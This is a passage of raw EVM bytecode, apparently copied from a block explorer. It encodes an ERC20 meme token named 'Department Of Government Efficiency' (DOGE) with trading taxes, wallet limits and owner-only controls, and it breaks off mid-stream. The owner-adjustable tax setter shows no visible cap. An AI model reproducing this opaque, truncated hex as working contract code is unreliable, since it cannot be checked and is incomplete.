ffffffffffffff1681526020019081526020016000208190555043600b60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148015611a8f5750600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611ae55750600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611b8857600754821115611b2f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b26906131c2565b60405180910390fd5b60085482611b3c85610b7d565b611b4691906131e2565b1115611b87576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b7e90613262565b60405180910390fd5b5b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611c1157503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b15611c4157611c3e6064611c306006548561247f90919063ffffffff16565b6124f990919063ffffffff16565b90505b6000611c4c30610b7d565b9050600d60159054906101000a900460ff16158015611cb85750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b8015611cd05750600d60169054906101000a900460ff165b8015611cdd575060095481115b15611d1957611cff611cfa84611cf584600a54612543565b612543565b61219a565b60004790506000811115611d1757611d1647612413565b5b505b505b600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611dbc5750600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b80611e6f5750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015611e6e5750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b15611e7957600090505b6000811115611f7d57611ed481600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461255c90919063ffffffff16565b600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611f749190612837565b60405180910390a35b611fcf82600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546125ba90919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061207661202882846125ba90919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461255c90919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef61211b84866125ba90919063ffffffff16565b6040516121289190612837565b60405180910390a350505050565b600083831115829061217e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161217591906126f7565b60405180910390fd5b506000838561218d9190613282565b9050809150509392505050565b6001600d60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff8111156121d2576121d16132b6565b5b6040519080825280602002602001820160405280156122005781602001602082028036833780820191505090505b5090503081600081518110612218576122176132e5565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156122bf573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906122e39190613329565b816001815181106122f7576122f66132e5565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061235e30600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112d8565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016123c2959493929190613414565b600060405180830381600087803b1580156123dc57600080fd5b505af11580156123f0573d6000803e3d6000fd5b50505050506000600d60156101000a81548160ff02191690831515021790555050565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f1935050505015801561247b573d6000803e3d6000fd5b5050565b600080830361249157600090506124f3565b6000828461249f9190612c38565b90508284826124ae919061349d565b146124ee576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124e590613540565b60405180910390fd5b809150505b92915050565b600061253b83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612604565b905092915050565b60008183116125525782612554565b815b905092915050565b600080828461256b91906131e2565b9050838110156125b0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125a7906135ac565b60405180910390fd5b8091505092915050565b60006125fc83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250612136565b905092915050565b6000808311829061264b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161264291906126f7565b60405180910390fd5b506000838561265a919061349d565b9050809150509392505050565b600081519050919050565b600082825260208201905092915050565b60005b838110156126a1578082015181840152602081019050612686565b60008484015250505050565b6000601f19601f8301169050919050565b60006126c982612667565b6126d38185612672565b93506126e3818560208601612683565b6126ec816126ad565b840191505092915050565b6000602082019050818103600083015261271181846126be565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006127498261271e565b9050919050565b6127598161273e565b811461276457600080fd5b50565b60008135905061277681612750565b92915050565b6000819050919050565b61278f8161277c565b811461279a57600080fd5b50565b6000813590506127ac81612786565b92915050565b600080604083850312156127c9576127c8612719565b5b60006127d785828601612767565b92505060206127e88582860161279d565b9150509250929050565b60008115159050919050565b612807816127f2565b82525050565b600060208201905061282260008301846127fe565b92915050565b6128318161277c565b82525050565b600060208201905061284c6000830184612828565b92915050565b60008060006060848603121561286b5761286a612719565b5b600061287986828701612767565b935050602061288a86828701612767565b925050604061289b8682870161279d565b9150509250925092565b600060ff82169050919050565b6128bb816128a5565b82525050565b60006020820190506128d660008301846128b2565b92915050565b600080604083850312156128f3576128f2612719565b5b60006129018582860161279d565b92505060206129128582860161279d565b9150509250929050565b60006020828403121561293257612931612719565b5b600061294084828501612767565b91505092915050565b6129528161273e565b82525050565b600060208201905061296d6000830184612949565b92915050565b6000806040838503121561298a57612989612719565b5b600061299885828601612767565b92505060206129a985828601612767565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006129e9602083612672565b91506129f4826129b3565b602082019050919050565b60006020820190508181036000830152612a18816129dc565b9050919050565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b6000612a55601783612672565b9150612a6082612a1f565b602082019050919050565b60006020820190508181036000830152612a8481612a48565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b6001851115612b1157808604811115612aed57612aec612a8b565b5b6001851615612afc5780820291505b8081029050612b0a85612aba565b9450612ad1565b94509492505050565b600082612b2a5760019050612be6565b81612b385760009050612be6565b8160018114612b4e5760028114612b5857612b87565b6001915050612be6565b60ff841115612b6a57612b69612a8b565b5b8360020a915084821115612b8157612b80612a8b565b5b50612be6565b5060208310610133831016604e8410600b8410161715612bbc5782820a905083811115612bb757612bb6612a8b565b5b612be6565b612bc98484846001612ac7565b92509050818404811115612be057612bdf612a8b565b5b81810290505b9392505050565b6000612bf88261277c565b9150612c03836128a5565b9250612c307fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484612b1a565b905092915050565b6000612c438261277c565b9150612c4e8361277c565b9250828202612c5c8161277c565b91508282048414831517612c7357612c72612a8b565b5b5092915050565b6000819050919050565b6000819050919050565b6000612ca9612ca4612c9f84612c7a565b612c84565b61277c565b9050919050565b612cb981612c8e565b82525050565b600060c082019050612cd46000830189612949565b612ce16020830188612828565b612cee6040830187612cb0565b612cfb6060830186612cb0565b612d086080830185612949565b612d1560a0830184612828565b979650505050505050565b600081519050612d2f81612786565b92915050565b600080600060608486031215612d4e57612d4d612719565b5b6000612d5c86828701612d20565b9350506020612d6d86828701612d20565b9250506040612d7e86828701612d20565b9150509250925092565b6000604082019050612d9d6000830185612949565b612daa6020830184612828565b9392505050565b612dba816127f2565b8114612dc557600080fd5b50565b600081519050612dd781612db1565b92915050565b600060208284031215612df357612df2612719565b5b6000612e0184828501612dc8565b91505092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000612e66602483612672565b9150612e7182612e0a565b604082019050919050565b60006020820190508181036000830152612e9581612e59565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000612ef8602283612672565b9150612f0382612e9c565b604082019050919050565b60006020820190508181036000830152612f2781612eeb565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000612f8a602583612672565b9150612f9582612f2e565b604082019050919050565b60006020820190508181036000830152612fb981612f7d565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b600061301c602383612672565b915061302782612fc0565b604082019050919050565b6000602082019050818103600083015261304b8161300f565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b60006130ae602983612672565b91506130b982613052565b604082019050919050565b600060208201905081810360008301526130dd816130a1565b9050919050565b7f5f7472616e736665723a3a205472616e736665722044656c617920656e61626c60008201527f65642e0000000000000000000000000000000000000000000000000000000000602082015250565b6000613140602383612672565b915061314b826130e4565b604082019050919050565b6000602082019050818103600083015261316f81613133565b9050919050565b7f4578636565647320746865205f6d61785478416d6f756e742e00000000000000600082015250565b60006131ac601983612672565b91506131b782613176565b602082019050919050565b600060208201905081810360008301526131db8161319f565b9050919050565b60006131ed8261277c565b91506131f88361277c565b92508282019050808211156132105761320f612a8b565b5b92915050565b7f4578636565647320746865206d617857616c6c657453697a652e000000000000600082015250565b600061324c601a83612672565b915061325782613216565b602082019050919050565b6000602082019050818103600083015261327b8161323f565b9050919050565b600061328d8261277c565b91506132988361277c565b92508282039050818111156132b0576132af612a8b565b5b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60008151905061332381612750565b92915050565b60006020828403121561333f5761333e612719565b5b600061334d84828501613314565b91505092915050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b61338b8161273e565b82525050565b600061339d8383613382565b60208301905092915050565b6000602082019050919050565b60006133c182613356565b6133cb8185613361565b93506133d683613372565b8060005b838110156134075781516133ee8882613391565b97506133f9836133a9565b9250506001810190506133da565b5085935050505092915050565b600060a0820190506134296000830188612828565b6134366020830187612cb0565b818103604083015261344881866133b6565b90506134576060830185612949565b6134646080830184612828565b9695505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006134a88261277c565b91506134b38361277c565b9250826134c3576134c261346e565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b600061352a602183612672565b9150613535826134ce565b604082019050919050565b600060208201905081810360008301526135598161351d565b9050919050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000613596601b83612672565b91506135a182613560565b602082019050919050565b600060208201905081810360008301526135c581613589565b905091905056fe4465706172746d656e74204f6620476f7665726e6d656e7420456666696369656e637945524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220844117af18db2976a9cfa6f70e76b543440ddd8f2f3a658ddb7f3b999558988f64736f6c63430008180033
Deployed Bytecode
0x60806040526004361061016a5760003560e01c8063751039fc116100d1578063a9059cbb1161008a578063c9567bf911610064578063c9567bf9146104cb578063dd62ed3e146104e2578063f2fde38b1461051f578063f42938901461054857610171565b8063a9059cbb14610438578063bf474bed14610475578063c876d0b9146104a057610171565b8063751039fc1461035e5780637be80b39146103755780637d1db4a51461038c5780638da5cb5b146103b75780638f9a55c0146103e257806395d89b411461040d57610171565b80632c8206ea116101235780632c8206ea14610288578063313ce5671461029f57806351bc3c85146102ca57806352f7c988146102e157806370a082311461030a578063715018a61461034757610171565b806306fdde0314610176578063095ea7b3146101a15780630faee56f146101de578063157fecff1461020957806318160ddd1461022057806323b872dd1461024b57610171565b3661017157005b600080fd5b34801561018257600080fd5b5061018b61055f565b60405161019891906126f7565b60405180910390f35b3480156101ad57600080fd5b506101c860048036038101906101c391906127b2565b61057f565b6040516101d5919061280d565b60405180910390f35b3480156101ea57600080fd5b506101f361059d565b6040516102009190612837565b60405180910390f35b34801561021557600080fd5b5061021e6105a3565b005b34801561022c57600080fd5b50610235610880565b6040516102429190612837565b60405180910390f35b34801561025757600080fd5b50610272600480360381019061026d9190612852565b6108a5565b60405161027f919061280d565b60405180910390f35b34801561029457600080fd5b5061029d61097e565b005b3480156102ab57600080fd5b506102b4610a30565b6040516102c191906128c1565b60405180910390f35b3480156102d657600080fd5b506102df610a39565b005b3480156102ed57600080fd5b50610308600480360381019061030391906128dc565b610ad6565b005b34801561031657600080fd5b50610331600480360381019061032c919061291c565b610b7d565b60405161033e9190612837565b60405180910390f35b34801561035357600080fd5b5061035c610bc6565b005b34801561036a57600080fd5b50610373610d19565b005b34801561038157600080fd5b5061038a610e4c565b005b34801561039857600080fd5b506103a1610eea565b6040516103ae9190612837565b60405180910390f35b3480156103c357600080fd5b506103cc610ef0565b6040516103d99190612958565b60405180910390f35b3480156103ee57600080fd5b506103f7610f19565b6040516104049190612837565b60405180910390f35b34801561041957600080fd5b50610422610f1f565b60405161042f91906126f7565b60405180910390f35b34801561044457600080fd5b5061045f600480360381019061045a91906127b2565b610f5c565b60405161046c919061280d565b60405180910390f35b34801561048157600080fd5b5061048a610f7a565b6040516104979190612837565b60405180910390f35b3480156104ac57600080fd5b506104b5610f80565b6040516104c2919061280d565b60405180910390f35b3480156104d757600080fd5b506104e0610f93565b005b3480156104ee57600080fd5b5061050960048036038101906105049190612973565b61107b565b6040516105169190612837565b60405180910390f35b34801561052b57600080fd5b506105466004803603810190610541919061291c565b611102565b005b34801561055457600080fd5b5061055d611254565b005b60606040518060600160405280602381526020016135cd60239139905090565b600061059361058c6112d0565b84846112d8565b6001905092915050565b600a5481565b6105ab6112d0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610638576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161062f906129ff565b60405180910390fd5b600d60149054906101000a900460ff1615610688576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161067f90612a6b565b60405180910390fd5b6106d230600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166009600a6106bd9190612bed565b6461c9f368006106cd9190612c38565b6112d8565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719473061071b30610b7d565b60008073649aa2b47f35676d5372b3ef690693ce327ac69c426040518863ffffffff1660e01b815260040161075596959493929190612cbf565b60606040518083038185885af1158015610773573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906107989190612d35565b505050600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161083a929190612d88565b6020604051808303816000875af1158015610859573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061087d9190612ddd565b50565b60006009600a6108909190612bed565b6461c9f368006108a09190612c38565b905090565b60006108b28484846114a1565b610973846108be6112d0565b61096e856040518060600160405280602881526020016135f060289139600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006109246112d0565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546121369092919063ffffffff16565b6112d8565b600190509392505050565b6109866112d0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a13576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a0a906129ff565b60405180910390fd5b6000600460146101000a81548160ff021916908315150217905550565b60006009905090565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610a7a6112d0565b73ffffffffffffffffffffffffffffffffffffffff1614610a9a57600080fd5b6000610aa530610b7d565b90506000811115610aba57610ab98161219a565b5b60004790506000811115610ad257610ad147612413565b5b5050565b610ade6112d0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b6b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b62906129ff565b60405180910390fd5b81600581905550806006819055505050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610bce6112d0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c5b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c52906129ff565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610d216112d0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610dae576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610da5906129ff565b60405180910390fd5b6009600a610dbc9190612bed565b6461c9f36800610dcc9190612c38565b6008819055506009600a610de09190612bed565b6461c9f36800610df09190612c38565b6007819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6009600a610e259190612bed565b6461c9f36800610e359190612c38565b604051610e429190612837565b60405180910390a1565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610e8d6112d0565b73ffffffffffffffffffffffffffffffffffffffff1614610ead57600080fd5b6000610eb830610b7d565b9050610ee730600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16836114a1565b50565b60075481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60085481565b60606040518060400160405280600481526020017f444f474500000000000000000000000000000000000000000000000000000000815250905090565b6000610f70610f696112d0565b84846114a1565b6001905092915050565b60095481565b600460149054906101000a900460ff1681565b610f9b6112d0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611028576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161101f906129ff565b60405180910390fd5b6001600460146101000a81548160ff0219169083151502179055506001600d60146101000a81548160ff0219169083151502179055506001600d60166101000a81548160ff021916908315150217905550565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b61110a6112d0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611197576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161118e906129ff565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166112956112d0565b73ffffffffffffffffffffffffffffffffffffffff16146112b557600080fd5b600047905060008111156112cd576112cc81612413565b5b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611347576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161133e90612e7c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036113b6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113ad90612f0e565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114949190612837565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611510576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161150790612fa0565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361157f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161157690613032565b60405180910390fd5b600081116115c2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115b9906130c4565b60405180910390fd5b60006115cc610ef0565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415801561163a575061160a610ef0565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156116945750600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156116ee5750600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611d1b5761171b606461170d6005548561247f90919063ffffffff16565b6124f990919063ffffffff16565b9050600460149054906101000a900460ff1680156117835750600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156117d95750600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156119e457600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561188a5750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b156119e35743600b60003273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410801561191b575043600b60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054105b61195a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161195190613156565b60405180910390fd5b43600b60003273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555043600b60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148015611a8f5750600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611ae55750600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611b8857600754821115611b2f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b26906131c2565b60405180910390fd5b60085482611b3c85610b7d565b611b4691906131e2565b1115611b87576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b7e90613262565b60405180910390fd5b5b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611c1157503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b15611c4157611c3e6064611c306006548561247f90919063ffffffff16565b6124f990919063ffffffff16565b90505b6000611c4c30610b7d565b9050600d60159054906101000a900460ff16158015611cb85750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b8015611cd05750600d60169054906101000a900460ff165b8015611cdd575060095481115b15611d1957611cff611cfa84611cf584600a54612543565b612543565b61219a565b60004790506000811115611d1757611d1647612413565b5b505b505b600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611dbc5750600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b80611e6f5750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015611e6e5750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b15611e7957600090505b6000811115611f7d57611ed481600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461255c90919063ffffffff16565b600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611f749190612837565b60405180910390a35b611fcf82600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546125ba90919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061207661202882846125ba90919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461255c90919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef61211b84866125ba90919063ffffffff16565b6040516121289190612837565b60405180910390a350505050565b600083831115829061217e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161217591906126f7565b60405180910390fd5b506000838561218d9190613282565b9050809150509392505050565b6001600d60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff8111156121d2576121d16132b6565b5b6040519080825280602002602001820160405280156122005781602001602082028036833780820191505090505b5090503081600081518110612218576122176132e5565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156122bf573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906122e39190613329565b816001815181106122f7576122f66132e5565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061235e30600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112d8565b600c60009054906101000a900473ffffffffffffffffffffffffffffffff